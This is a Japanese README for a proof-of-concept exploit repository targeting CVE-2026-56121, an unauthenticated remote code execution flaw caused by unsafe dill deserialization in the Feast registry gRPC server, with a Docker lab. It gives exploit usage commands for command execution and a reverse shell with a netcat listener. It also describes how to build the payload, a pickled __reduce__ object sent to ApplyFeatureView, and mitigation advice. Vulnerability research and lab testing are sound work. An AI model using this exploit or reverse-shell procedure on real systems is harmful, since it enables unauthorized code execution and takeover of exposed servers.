
# CVE-2026-56121 の概念実証エクスプロイト Feast のレジストリ gRPC サーバーにおける、安全でない dill 逆シリアライゼーションを介した未認証 RCE の概念実証エクスプロイトです。テストと検証用の Docker 化された脆弱性ラボが含まれています。
Feast(< 0.63.0)における、レジストリ gRPC サーバーの安全でない dill.loads デシリアライゼーションを介した認証なしリモートコード実行。このリポジトリには、自己完結型の概念実証エクスプロイトと、それを検証するための Docker 化された脆弱性ラボが含まれています。
| CVE | CVE-2026-56121 |
| 製品 | Feast(フィーチャーストア)— レジストリ gRPC サーバー |
| 影響を受けるバージョン | feast < 0.63.0 |
| 修正バージョン | 0.63.0(コミット 835cda8) |
| クラス | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 影響 | 認証なし RCE(デフォルト設定は auth: no_auth) |
| デフォルトポート | 6570/tcp(gRPC レジストリサーバー) |
⚠️ 認可されたセキュリティテストおよび教育目的のみ。 同梱の Docker ラボ、または自分が所有する/明示的にテストを許可されたシステムに対してのみ実行してください。第三者システムへの不正使用は違法です。
Feast レジストリ gRPC ハンドラー RegistryServer.ApplyFeatureView は、受信したフィーチャービュースペックを、認可チェックを実行する前に OnDemandFeatureView.from_proto(...) を呼び出してデシリアライズします。pandas モードのオンデマンドフィーチャービューで UDF ボディが空でない場合、そのパスは PandasTransformation.from_proto に到達し、攻撃者が制御するバイトに対して dill.loads(user_defined_function.body) を実行します。dill は pickle オペコードを実行するため、巧妙に細工された __reduce__ を持つオブジェクトは、サーバープロセス内で任意の Python コードを実行します。出荷時の設定は auth: no_auth であり、gRPC サーバーには認証インターセプターがないため、ポート 6570 に到達できる者は誰でもコード実行が可能です。
完全なコードパスのウォークスルーとパッチ差分については、ANALYSIS.md を参照してください。
.
├── exploit/
│ ├── exploit.py # 完全な PoC クライアント: --check / --cmd / --reverse-shell
│ ├── poc.py # 最小限の単一ファイル PoC、約 90 行で同じプリミティブ
│ ├── build_protos.sh # [email protected] から protobuf スタブを(再)生成
│ └── protos/ # コミット済みの生成 *_pb2 スタブ(protoc なしで PoC を実行)
├── lab/
│ ├── Dockerfile # デフォルトで feast==0.62.0; FEAST_VERSION でリリースを選択
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # 最小限の Feast プロジェクト(auth: no_auth)
├── requirements.txt # エクスプロイト依存関係: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# レジストリ gRPC サーバーが localhost:6570 で待機中
docker compose logs -f # "Grpc server started" を待つ
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
安全なチェック(非破壊的) — シェルコマンドを実行せずに、/tmp にマーカーファイルを書き込みホスト情報を返すことで、サーバーが攻撃者データをデシリアライズすることを証明します:
python exploit/exploit.py --target 127.0.0.1:6570 --check
コマンドを実行して出力を確認(デフォルトモード):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
対話型リバースシェル — 最初にリスナーを起動し、その後ペイロードを配信します:
# ターミナル A
nc -lvnp 4444
# ターミナル B (コンテナが接続できるアドレスを使用)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
--cmd および --check モードは、エクスプロイト自体に短命の TCP リスナーを起動し、ターゲットが送り返す内容を出力します — ターゲットイメージに外部ツールは不要です。
簡略化された同等のものは exploit/poc.py にあります。プリミティブ全体を 1 つの読みやすいファイルで確認したい場合:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
コールバックに関する注意。
--check、--cmd、およびpoc.pyは、ターゲットが自分のマシンのリスナーに接続し直すことに依存しています。ホストから実行すればそのまま動作します。コンテナ内からエクスプロイトを実行する場合は、ラボのネットワーク上に配置してください(docker run --network lab_default ...)。そうしないと、ペイロードは実行されますが応答が届かず、ツールは「no callback」と報告します。
exploit/protos/ のスタブはコミット済みなので、protoc は不要です。再生成する場合は、スクリプトを使用してください — 意図的に grpcio-tools を固定しています:
./exploit/build_protos.sh # 固定された python:3.11 コンテナで実行
protoc はすべての _pb2.py に gencode バージョンを刻印し、protobuf はインストール済みランタイムより新しい gencode を持つスタブの読み込みを拒否します。この固定により、protobuf >= 5.29, < 8 でスタブが読み込まれるようになります(5.29.6、6.33.6、7.36.0 で検証済み)。
修正リリースに対してラボを再構築し、エクスプロイトを再実行します:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
0.63.0 での期待結果: [-] No callback received. およびターゲット上にマーカーファイルなし — ハンドラーは skip_udf=True を渡すため、認可チェック前に UDF ボディがデシリアライズされることはありません。docker compose down && docker compose up --build -d で脆弱性ラボに戻します。
cd lab && docker compose down -v
on_demand_feature_view スペックが mode = "pandas" で、feature_transformation.user_defined_function(UserDefinedFunctionV2)を持つ ApplyFeatureViewRequest を構築します:
body_text = 空でない(pandas デシリアライゼーションブランチに到達するために必要)、body = __reduce__ が exec(<python>) を呼び出すオブジェクトの pickle。feast.registry.RegistryServer/ApplyFeatureView に送信します。from_proto 中に dill.loads(body) を実行します — 認可チェックの前に — ペイロードを実行します。RPC 自体はその後エラーになる可能性がありますが、コードはすでに実行されています。エクスプロイトは stdlib pickle モジュールでガジェットを作成します(サーバーの dill.loads はプレーンな pickle オペコードを問題なくデコードします)。そのため、攻撃者側は grpcio + protobuf のみが必要です。
>= 0.63.0 にアップグレードしてください。 修正は *.from_proto に skip_udf=True フラグを通すため、レジストリサーバーは UDF ボディをデシリアライズせずにスペックメタデータの権限を検証します。6570)を信頼できないネットワークに公開しないでください。no_auth の代わりに認証(auth: kubernetes / auth: oidc)を有効にしてください。